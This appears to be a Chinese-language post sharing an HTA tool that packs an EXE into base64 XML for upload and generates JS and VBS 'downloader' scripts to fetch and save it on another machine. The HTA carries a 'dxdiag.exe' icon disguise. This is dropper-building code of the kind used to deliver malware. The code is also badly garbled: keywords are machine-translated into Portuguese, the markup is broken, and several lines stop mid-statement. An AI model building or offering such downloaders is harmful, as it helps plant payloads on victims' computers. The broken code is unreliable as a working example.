以下代码保存成 HTA 文件 ， 可生成 JS 和 VBS 下载者
代码如下:
<HTA: Aplicação
Id = "xmdown"
Legenda = "Sim"
Scroll = "Auto"
Border = "Nenhum"
Borderstyle = "estático"
SingleInstance = "Sim"
maximizeButton = "não"
Border = "Não"
icon = "dxdiag.exe">
<idioma de script = vbs>
Sub Window_onLoad
window.resizeto screen.width/1.6, screen.height/3
Window.moveto 200.200
Final sub
Sub Createxml (caminho, arquivo)
Set objStream = createObject ("adodb.stream")
objstream.type = 1
objstream.open ()
objstream.loadfromfile (caminho)
objstream.Position = 0
Definir xmldoc = createObject ("Microsoft.xmldom")
Xmldoc.async = false
Set root = xmldoc.createProcessingInstruction ("xml", "versão = '1.0' coding = 'utf-8'")
Xmldoc.appendChild (raiz)
Xmldoc.appendChild (xmldoc.createElement ("root")))
Definir xfile = xmldoc.SelectSinglenode ("// root"). AppendChild (xmldoc.createElement ("arquivo")))
Definir xstream = xfile.appendChild (xmldoc.createElement ("stream"))
Xstream.setAttribute "xmlns: dt", "urn: schemas-microsoft-com: datatypes"
Xstream.datatype = "bin.base64"
Xstream.nodetypedValue = objStream.read ()
Xmldoc.save (arquivo)
Definir xmldoc = nada
Definir root = nada
Defina objstream = nada
Final sub
Função x (obj)
Set x = document.getElementById (OBJ)
Função final
Função findfile (str)
Set fso = createObject ("script.filesystemoBject")
Se fso.FileExists (STR) então
encontrefile = true
Outro
encontrefile = false
Final se
Função final
Função jsdown ()
Set fso = createObject ("script.filesystemoBject")
com fso.opentExtFile ((CreateObject ("wscript.shell")). CurrentDirectory & "/jsdown.js", 2, verdadeiro)
.Write X ("JSdown"). Valor
termine com
Função final
Função vbsdown ()
Set fso = createObject ("script.filesystemoBject")
com fso.opentExtFile ((CreateObject ("wscript.shell")).
.Write X ("VBSdown"). Valor
termine com
Função final
</script>
<Body>
<H4> 1. 生成下载用的 xml 文件 </h4>
选择下载的 Exe 文件: <Tipo de entrada = Nome do arquivo = "FILE1" ID = "FILE1" SIZE = "20">
<.
<input type = "button" value = "生成 xml 文件" onclick = 'vbs: createxml x ("file1"). value, x ("pathname"). valor: se findfile (x ("pathname"). cor = vermelho> 生成成功 ， 请传到某个空间 </font> "'> <br>
<H4> 2. 生成下载者 </h4>
<botão onclick = 'vbs: jsdown (): se findfile ("jsdown.js") = true então msgbox "生成成功": x ("url"). innerhtml = "用法是 cScript jsdown.js xmlurl savepath"'> 生成 js 下载者 </button Robown.JSCLICK = 'vbs). = true então msgBox "生成成功": x ("url"). inerhtml = "<font color = blue> 用法是 cScript vbsdown.js xmlurl savepath </font>" '> 生成 vbs 下载者 </button> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br>